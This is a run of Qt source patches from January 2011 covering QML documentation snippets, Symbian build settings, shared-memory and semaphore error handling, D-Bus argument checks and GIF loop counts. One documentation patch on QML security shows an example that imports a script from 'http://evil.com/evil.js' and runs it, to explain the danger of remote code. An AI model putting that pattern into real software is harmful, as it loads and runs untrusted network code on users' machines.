+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-    MouseArea {
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-        onClicked: {
-            if (mouse.button == Qt.RightButton)
-                parent.color = 'blue';
-            else
-                parent.color = 'red';
+            MouseArea {
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+                onClicked: {
+                    if (mouse.button == Qt.RightButton)
+                        parent.color = 'blue';
+                    else
+                        parent.color = 'red';
+                }
+            }
         }
-    }
-}
-//! [intro-extended]
+        //! [intro-extended]
 
-//! [drag]
-Rectangle {
-    id: container
-    width: 600; height: 200
+        //! [drag]
+        Rectangle {
+            id: container
+            width: 600; height: 200
 
-    Rectangle {
-        id: rect
-        width: 50; height: 50
-        color: "red"
-        opacity: (600.0 - rect.x) / 600
+            Rectangle {
+                id: rect
+                width: 50; height: 50
+                color: "red"
+                opacity: (600.0 - rect.x) / 600
 
-        MouseArea {
-            anchors.fill: parent
-            drag.target: rect
-            drag.axis: Drag.XAxis
-            drag.minimumX: 0
-            drag.maximumX: container.width - rect.width
+                MouseArea {
+                    anchors.fill: parent
+                    drag.target: rect
+                    drag.axis: Drag.XAxis
+                    drag.minimumX: 0
+                    drag.maximumX: container.width - rect.width
+                }
+            }
         }
-    }
-}
-//! [drag]
+        //! [drag]
 
-//! [mousebuttons]
-Text {
-    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
-    horizontalAlignment: Text.AlignHCenter
-    verticalAlignment: Text.AlignVCenter
-
-    MouseArea {
-        id: mouseArea
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-    }
-}
-//! [mousebuttons]
+        //! [mousebuttons]
+        Text {
+            text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+            horizontalAlignment: Text.AlignHCenter
+            verticalAlignment: Text.AlignVCenter
 
-}
+            MouseArea {
+                id: mouseArea
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+            }
+        }
+        //! [mousebuttons]
 
+    }
 }
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
index 1f1cbaf..30eeba8 100644
--- a/doc/src/snippets/declarative/propertyanimation.qml
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -48,10 +48,12 @@ Rectangle {
     width: 100; height: 100
     color: "red"
 
+    //! [single state]
     states: State {
         name: "moved"
         PropertyChanges { target: rect; x: 50 }
     }
+    //! [single state]
 
     transitions: Transition { 
         PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } 
@@ -83,18 +85,16 @@ Rectangle {
 }
 //![propertyvaluesource]
 
-//![standalone]
-Rectangle {
-    id: theRect
-    width: 100; height: 100
-    color: "red"
-
-    // this is a standalone animation, it's not running by default
-    PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
-
-    MouseArea { anchors.fill: parent; onClicked: animation.running = true }
-}
-//![standalone]
+    //![standalone]
+    Rectangle {
+        id: theRect
+        width: 100; height: 100
+        color: "red"
 
+        // this is a standalone animation, it's not running by default
+        PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
 
+        MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+    }
+    //![standalone]
 }
diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
index 87ea214..29838f6 100644
--- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
@@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
     \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
     using the left and right arrow keys:
 
-    \code
+    \qml
     PathView {
-        ...
+        // ...
         focus: true
         Keys.onLeftPressed: decrementCurrentIndex()
         Keys.onRightPressed: incrementCurrentIndex()
     }
-    \endcode
+    \endqml
 
     The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
 
@@ -437,7 +437,7 @@ QDeclarativePathView::~QDeclarativePathView()
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
     \endqml
@@ -697,14 +697,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
     of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
     the highlight is hidden when flicked away from the path.
 
-    \code
+    \qml
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
-    \endcode
+    \endqml
 
     \sa highlightItem, highlightRangeMode
 */
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index dd7e5fd..f2c54ab 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // States are defined here...
+        ]
 
         transition: Transition {
             NumberAnimation { from: "#c0c0c0"; duration: 2000 }
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
index 15e5ac5..dbb6f43 100644
--- a/src/declarative/util/qdeclarativeconnections.cpp
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -71,8 +71,8 @@ public:
 
 /*!
     \qmlclass Connections QDeclarativeConnections
-  \ingroup qml-utility-elements
-  \since 4.7
+    \ingroup qml-utility-elements
+    \since 4.7
     \brief A Connections element describes generalized connections to signals.
 
     A Connections object creates a connection to a QML signal.
@@ -115,7 +115,7 @@ public:
     MouseArea {
         id: area
     }
-    ...
+    // ...
     Connections {
         target: area
         onClicked: foo(...)
-- 
cgit v0.12


From a1ba5568da6c57e8a0e4440913a6bda322620422 Mon Sep 17 00:00:00 2001
From: Miikka Heikkinen 
Date: Fri, 21 Jan 2011 16:29:27 +0200
Subject: Make QMAKE_EXTENSION_SHLIB and friends work in all Symbian mkspecs.

Reviewed-by: axis
---
 mkspecs/common/symbian/symbian-makefile.conf | 3 ---
 mkspecs/common/symbian/symbian.conf          | 3 +++
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
index 364e91b..0360615 100644
--- a/mkspecs/common/symbian/symbian-makefile.conf
+++ b/mkspecs/common/symbian/symbian-makefile.conf
@@ -22,11 +22,8 @@ QMAKE_ELF2E32_FLAGS	= --dlldata \
 include(../../common/unix.conf)
 
 QMAKE_PREFIX_SHLIB    =
-QMAKE_EXTENSION_SHLIB = dll
 CONFIG *= no_plugin_name_prefix
-QMAKE_EXTENSION_PLUGIN = dll
 QMAKE_PREFIX_STATICLIB =
-QMAKE_EXTENSION_STATICLIB = lib
 QMAKE_SYMBIAN_SHLIB   = 1
 
 is_using_gnupoc {
diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
index ab94cfb..5619d4f 100644
--- a/mkspecs/common/symbian/symbian.conf
+++ b/mkspecs/common/symbian/symbian.conf
@@ -13,6 +13,9 @@ QMAKE_COMPILER_DEFINES  += SYMBIAN
 
 QMAKE_EXT_OBJ           = .o
 QMAKE_EXT_RES           = _res.o
+QMAKE_EXTENSION_SHLIB   = dll
+QMAKE_EXTENSION_PLUGIN  = dll
+QMAKE_EXTENSION_STATICLIB = lib
 
 QMAKE_LEX		= flex
 QMAKE_LEXFLAGS		=
-- 
cgit v0.12


From f129fd72752aa0ac088837b9f70b22621e9d3b83 Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:28:44 +0000
Subject: fix error reporting

that was mistakenly broken by 570e7b38487455d394b5b74a59edc639f3dc416f

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 src/corelib/kernel/qsystemsemaphore_symbian.cpp | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
index 07cfffc..a46389d 100644
--- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp
+++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
@@ -73,6 +73,7 @@ void QSystemSemaphorePrivate::setErrorString(const QString &function, int err)
     case KErrInUse:
         errorString = QCoreApplication::tr("%1: out of resources", "QSystemSemaphore").arg(function);
         error = QSystemSemaphore::OutOfResources;
+        break;
     case KErrPermissionDenied:
         errorString = QCoreApplication::tr("%1: permission denied", "QSystemSemaphore").arg(function);
         error = QSystemSemaphore::PermissionDenied;
-- 
cgit v0.12


From 3539af42ca847e628c325a2069b72284b597d617 Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:28:49 +0000
Subject: fix error reporting on detach()

before, we returned too early :)

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 src/corelib/kernel/qsharedmemory_win.cpp | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/corelib/kernel/qsharedmemory_win.cpp b/src/corelib/kernel/qsharedmemory_win.cpp
index 85600a2..5293f45 100644
--- a/src/corelib/kernel/qsharedmemory_win.cpp
+++ b/src/corelib/kernel/qsharedmemory_win.cpp
@@ -124,8 +124,8 @@ bool QSharedMemoryPrivate::cleanHandle()
 {
     if (hand != 0 && !CloseHandle(hand)) {
         hand = 0;
-        return false;
         setErrorString(QLatin1String("QSharedMemory::cleanHandle"));
+        return false;
     }
     hand = 0;
     return true;
-- 
cgit v0.12


From 75771ddf96273899a990d33395fb4fac14666022 Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:28:53 +0000
Subject: avoid extra calculations

QSystemSemaphore::setKey() sets the fileName member to makeKeyFileName()'s result;
no need to call it again

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 src/corelib/kernel/qsystemsemaphore_symbian.cpp | 3 +--
 src/corelib/kernel/qsystemsemaphore_win.cpp     | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
index a46389d..0d257b8 100644
--- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp
+++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
@@ -98,8 +98,7 @@ int QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
     if (key.isEmpty())
         return 0;
 
-    QString safeName = makeKeyFileName();
-    TPtrC name(qt_QString2TPtrC(safeName));
+    TPtrC name(qt_QString2TPtrC(fileName));
     int err = KErrAlreadyExists;
     int tryCount = 10;
     // Sort out race conditions by retrying several times until existing handle is acquired.
diff --git a/src/corelib/kernel/qsystemsemaphore_win.cpp b/src/corelib/kernel/qsystemsemaphore_win.cpp
index 7f002f8..fad50f2 100644
--- a/src/corelib/kernel/qsystemsemaphore_win.cpp
+++ b/src/corelib/kernel/qsystemsemaphore_win.cpp
@@ -86,8 +86,7 @@ HANDLE QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
 
     // Create it if it doesn't already exists.
     if (semaphore == 0) {
-        QString safeName = makeKeyFileName();
-        semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)safeName.utf16());
+        semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)fileName.utf16());
         if (semaphore == NULL)
             setErrorString(QLatin1String("QSystemSemaphore::handle"));
     }
-- 
cgit v0.12


From c17e49e8a481f96a4b953d8fcf41678fc1b2f9bc Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:28:57 +0000
Subject: simplify QSharedMemory::detach()

de-init members in the QSharedMemoryPrivate::detach() like in code for symbian.
this gains a lightly better control in case of errors on detach()

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 src/corelib/kernel/qsharedmemory.cpp      | 6 +-----
 src/corelib/kernel/qsharedmemory_unix.cpp | 1 +
 src/corelib/kernel/qsharedmemory_win.cpp  | 1 +
 3 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/src/corelib/kernel/qsharedmemory.cpp b/src/corelib/kernel/qsharedmemory.cpp
index 2fd6c50..85b37d0 100644
--- a/src/corelib/kernel/qsharedmemory.cpp
+++ b/src/corelib/kernel/qsharedmemory.cpp
@@ -399,11 +399,7 @@ bool QSharedMemory::detach()
         return false;
 #endif
 
-    if (d->detach()) {
-        d->size = 0;
-        return true;
-    }
-    return false;
+    return d->detach();
 }
 
 /*!
diff --git a/src/corelib/kernel/qsharedmemory_unix.cpp b/src/corelib/kernel/qsharedmemory_unix.cpp
index bea5b63..3cd17f1 100644
--- a/src/corelib/kernel/qsharedmemory_unix.cpp
+++ b/src/corelib/kernel/qsharedmemory_unix.cpp
@@ -265,6 +265,7 @@ bool QSharedMemoryPrivate::detach()
         return false;
     }
     memory = 0;
+    size = 0;
 
     // Get the number of current attachments
     if (!handle())
diff --git a/src/corelib/kernel/qsharedmemory_win.cpp b/src/corelib/kernel/qsharedmemory_win.cpp
index 5293f45..ac9c86a 100644
--- a/src/corelib/kernel/qsharedmemory_win.cpp
+++ b/src/corelib/kernel/qsharedmemory_win.cpp
@@ -186,6 +186,7 @@ bool QSharedMemoryPrivate::detach()
         return false;
     }
     memory = 0;
+    size = 0;
 
     // close handle
     return cleanHandle();
-- 
cgit v0.12


From acd04e69bd404657638d3a95eea3a5946008cf03 Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:29:01 +0000
Subject: get rid of extra calls to handle()

in create(), handle() is called a few lines early;
in attach(), QSharedMemory::attach() calls handle() as a preparation step;
in detach(), well, if we're here, unix_key is valid anyways...

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 src/corelib/kernel/qsharedmemory_unix.cpp | 13 ++++---------
 1 file changed, 4 insertions(+), 9 deletions(-)

diff --git a/src/corelib/kernel/qsharedmemory_unix.cpp b/src/corelib/kernel/qsharedmemory_unix.cpp
index 3cd17f1..ddb0e34 100644
--- a/src/corelib/kernel/qsharedmemory_unix.cpp
+++ b/src/corelib/kernel/qsharedmemory_unix.cpp
@@ -199,7 +199,7 @@ bool QSharedMemoryPrivate::create(int size)
     }
 
     // create
-    if (-1 == shmget(handle(), size, 0666 | IPC_CREAT | IPC_EXCL)) {
+    if (-1 == shmget(unix_key, size, 0666 | IPC_CREAT | IPC_EXCL)) {
         QString function = QLatin1String("QSharedMemory::create");
         switch (errno) {
         case EINVAL:
@@ -220,10 +220,7 @@ bool QSharedMemoryPrivate::create(int size)
 bool QSharedMemoryPrivate::attach(QSharedMemory::AccessMode mode)
 {
     // grab the shared memory segment id
-    if (!handle())
-        return false;
-
-    int id = shmget(handle(), 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
+    int id = shmget(unix_key, 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
     if (-1 == id) {
         setErrorString(QLatin1String("QSharedMemory::attach (shmget)"));
         return false;
@@ -268,10 +265,8 @@ bool QSharedMemoryPrivate::detach()
     size = 0;
 
     // Get the number of current attachments
-    if (!handle())
-        return false;
-    int id = shmget(handle(), 0, 0444);
-    unix_key = 0;
+    int id = shmget(unix_key, 0, 0444);
+    cleanHandle();
 
     struct shmid_ds shmid_ds;
     if (0 != shmctl(id, IPC_STAT, &shmid_ds)) {
-- 
cgit v0.12


From 00141ca67b6c20ecc8624bb9d1c70d97d34f544a Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:29:05 +0000
Subject: ignore the warning from auto-detach in destructor

we locked shm few line ago and didn't unlock it, so we expecting for this warning

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
index 50205bc..0719576 100644
--- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
+++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
@@ -358,7 +358,8 @@ void tst_QSharedMemory::lock()
     QVERIFY(shm.lock());
     QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
     QVERIFY(shm.lock());
-    // don't lock forever
+    // we didn't unlock(), so ignore the warning from auto-detach in destructor
+    QTest::ignoreMessage(QtWarningMsg, "QSharedMemory::lock: already locked");
 }
 
 /*!
-- 
cgit v0.12


From 586bbfdd296a55edb42c14bacd7901d7c074fd9a Mon Sep 17 00:00:00 2001
From: Ritt Konstantin 
Date: Fri, 21 Jan 2011 15:29:10 +0000
Subject: make the test a bit stricter

don't say we passed the test if we didn't

Merge-request: 1018
Reviewed-by: Shane Kearns 
---
 tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
index 0719576..f11519b 100644
--- a/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
+++ b/tests/auto/qtipc/qsharedmemory/tst_qsharedmemory.cpp
@@ -332,6 +332,8 @@ void tst_QSharedMemory::attach()
         QVERIFY(sm.detach());
         // Make sure detach doesn't screw up something and we can't re-attach.
         QVERIFY(sm.attach());
+        QVERIFY(sm.data() != 0);
+        QVERIFY(sm.size() != 0);
         QVERIFY(sm.detach());
         QCOMPARE(sm.size(), 0);
         QVERIFY(sm.data() == 0);
-- 
cgit v0.12


From 7905e38d84a060176e53ffe8d7da8710ea0180fe Mon Sep 17 00:00:00 2001
From: Thiago Macieira 
Date: Fri, 14 Jan 2011 13:29:02 +0100
Subject: Validate arguments to QDBusConnection::connect

This fixes a crash caused by user code trying to connect to object
paths that aren't valid (if we send this to the bus daemon, we get an
error with the AddMatch call).

Reviewed-by: Trust Me
---
 src/dbus/qdbusconnection.cpp | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/src/dbus/qdbusconnection.cpp b/src/dbus/qdbusconnection.cpp
index eb312d2..3fb63eb 100644
--- a/src/dbus/qdbusconnection.cpp
+++ b/src/dbus/qdbusconnection.cpp
@@ -632,10 +632,26 @@ bool QDBusConnection::connect(const QString &service, const QString &path, const
 
     if (!receiver || !slot || !d || !d->connection)
         return false;
-    if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface))
-        return false;
     if (interface.isEmpty() && name.isEmpty())
         return false;
+    if (!interface.isEmpty() && !QDBusUtil::isValidInterfaceName(interface)) {
+#ifndef QT_NO_DEBUG
+        qWarning("QDBusConnection::connect: interface name '%s' is not valid", interface.toLatin1().constData());
+#endif
+        return false;
+    }
+    if (!service.isEmpty() && !QDBusUtil::isValidBusName(service)) {
+#ifndef QT_NO_DEBUG
+        qWarning("QDBusConnection::connect: service name '%s' is not valid", service.toLatin1().constData());
+#endif
+        return false;
+    }
+    if (!path.isEmpty() && !QDBusUtil::isValidObjectPath(path)) {
+#ifndef QT_NO_DEBUG
+        qWarning("QDBusConnection::connect: object path '%s' is not valid", path.toLatin1().constData());
+#endif
+        return false;
+    }
 
     QDBusWriteLocker locker(ConnectAction, d);
     return d->connectSignal(service, path, interface, name, argumentMatch, signature, receiver, slot);
-- 
cgit v0.12


From 7a5960b2991e9ac33bec0bb359ba825d0c4889af Mon Sep 17 00:00:00 2001
From: Miikka Heikkinen 
Date: Mon, 24 Jan 2011 12:35:12 +0200
Subject: Fixed UTF-8 application names in device application menu in Symbian

CHARACTER_SET UTF8 statement was missing from generated .rss file,
causing localized application names containing UTF-8 characters
to be rendered incorrectly.

Task-number: QT-4476
Reviewed-by: axis
---
 qmake/generators/symbian/symbiancommon.cpp | 1 +
 1 file changed, 1 insertion(+)

diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
index 1f4a852..2270c2e 100644
--- a/qmake/generators/symbian/symbiancommon.cpp
+++ b/qmake/generators/symbian/symbiancommon.cpp
@@ -629,6 +629,7 @@ void SymbianCommonGenerator::writeRssFile(QString &numberOfIcons, QString &iconF
         t << "// * user." << endl;
         t << "// ============================================================================" << endl;
         t << endl;
+        t << "CHARACTER_SET UTF8" << endl;
         t << "#include " << endl;
         t << "#include \"" << fixedTarget << ".loc\"" << endl;
         t << endl;
-- 
cgit v0.12


From 14e7c8bf3982d05f6fc5c744ebbad791db6ab191 Mon Sep 17 00:00:00 2001
From: Simon Hausmann 
Date: Mon, 24 Jan 2011 13:06:29 +0100
Subject: Fix loop count in animanted gifs sometimes being incorrect

Applied patch supplied in QT-4426, which also completes
https://bugs.webkit.org/show_bug.cgi?id=36818

Task-number: QT-4426
Reviewed-by: Kim Motoyoshi Kalland 
---
 src/gui/image/qgifhandler.cpp | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/src/gui/image/qgifhandler.cpp b/src/gui/image/qgifhandler.cpp
index 4dd4743..7cb7373 100644
--- a/src/gui/image/qgifhandler.cpp
+++ b/src/gui/image/qgifhandler.cpp
@@ -1046,7 +1046,7 @@ QGifHandler::QGifHandler()
 {
     gifFormat = new QGIFFormat;
     nextDelay = 100;
-    loopCnt = 1;
+    loopCnt = -1;
     frameNumber = -1;
     scanIsCached = false;
 }
@@ -1192,7 +1192,13 @@ int QGifHandler::loopCount() const
         QGIFFormat::scan(device(), &imageSizes, &loopCnt);
         scanIsCached = true;
     }
-    return loopCnt-1; // In GIF, loop count is iteration count, so subtract one
+
+    if (loopCnt == 0)
+        return -1;
+    else if (loopCnt == -1)
+        return 0;
+    else
+        return loopCnt;
 }
 
 int QGifHandler::currentImageNumber() const
-- 
cgit v0.12


From cdb2d3db1ece08af9ccf844cae6a5d3fa69a0d98 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 14:39:12 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 doc/src/declarative/basictypes.qdoc           |  19 ++--
 doc/src/declarative/qdeclarativesecurity.qdoc |   6 +-
 doc/src/declarative/qml-intro.qdoc            |  14 +--
 doc/src/images/declarative-colors.png         | Bin 0 -> 4993 bytes
 doc/src/snippets/declarative/colors.qml       | 125 ++++++++++++++++++++++++++
 doc/src/snippets/declarative/pics/checker.svg |  17 ++++
 6 files changed, 163 insertions(+), 18 deletions(-)
 create mode 100644 doc/src/images/declarative-colors.png
 create mode 100644 doc/src/snippets/declarative/colors.qml
 create mode 100644 doc/src/snippets/declarative/pics/checker.svg

diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
index 463e4a3..289a7a0 100644
--- a/doc/src/declarative/basictypes.qdoc
+++ b/doc/src/declarative/basictypes.qdoc
@@ -174,13 +174,10 @@
     transparent blue to a quad of \c "#800000FF".
 
     Example:
-    \qml
-    Rectangle { color: "steelblue" }
-    Rectangle { color: "transparent" }
-    Rectangle { color: "#FF0000" }
-    Rectangle { color: "#800000FF" }
-    Rectangle { color: "#00000000" }    // ARGB fully transparent
-    \endqml
+    \div{float-right}
+    \inlineimage declarative-colors.png
+    \enddiv
+    \snippet doc/src/snippets/declarative/colors.qml colors
 
     Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
     \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
@@ -361,9 +358,11 @@
     Actions are used like this:
 
     \qml
-    MouseArea { onClicked: myaction.trigger() }
-    State { name: "enabled"; when: myaction.enabled == true }
-    Text { text: someaction.text }
+    Item {
+        MouseArea { onClicked: myaction.trigger() }
+        State { name: "enabled"; when: myaction.enabled == true }
+        Text { text: someaction.text }
+    }
     \endqml
 
     \sa {QML Basic Types}
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 8aa031d..482043c 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
 For example, this QML content:
 
 \qml
+import QtQuick 1.0
 import "http://evil.com/evil.js" as Evil
-... Evil.doEvil() ...
+
+Component {
+    onLoaded: Evil.doEvil()
+}
 \endqml
 
 is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 563dc3b..7b2d999 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -247,13 +247,17 @@ referencing these properties from another object we use the property
 directly, instead of saying:
 
 \qml
-myRectangle.anchors.top  // Wrong
+Item {
+    anchors.bottom: myRectangle.anchors.top  // Wrong
+}
 \endqml
 
 we use
 
 \qml
-myRectangle.top         // Correct
+Item {
+    anchors.bottom: myRectangle.top         // Correct
+}
 \endqml
 
 
@@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
 Rotation of text was also suggested. It could also be useful to scale the
 text. We can do both. The \l {Item::transform}{transform} property is a
 \e list of \l Transform elements, so using the list syntax
-
-\qml
-myList: [ listElement1, listElement2, ... } ]
-\endqml
-
+\c{myList: [ listElement1, listElement2, ... } ]}
 we can produce a list of transformations.
 
 The text will be rotated by 45 degrees anti-clockwise and scaled 
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 0000000..f2eacd8
Binary files /dev/null and b/doc/src/images/declarative-colors.png differ
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 0000000..c670eca
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+    width: 160; height: 250
+    
+    Image {
+        width: 160; height: 200
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+
+        //! [colors]
+        Rectangle {
+            color: "steelblue"
+            width: 40; height: 40
+        }
+        Rectangle {
+            color: "transparent"
+            y: 40; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#FF0000"
+            y: 80; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#800000FF"
+            y: 120; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#00000000"    // ARGB fully transparent
+            y: 160
+            width: 40; height: 40
+        }
+        //! [colors]
+
+        Rectangle {
+            x: 40
+            width: 120; height: 200
+
+            Text {
+                font.pixelSize: 16
+                text: "steelblue"
+                x: 10; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "transparent"
+                x: 10; y: 40; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "FF0000"
+                x: 10; y: 80; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "800000FF"
+                x: 10; y: 120; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "00000000"
+                x: 10; y: 160; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+        }
+    }
+
+    Image {
+        y: 210
+        width: 40; height: 40
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+    }
+
+    Text {
+        font.pixelSize: 16
+        text: "(background)"
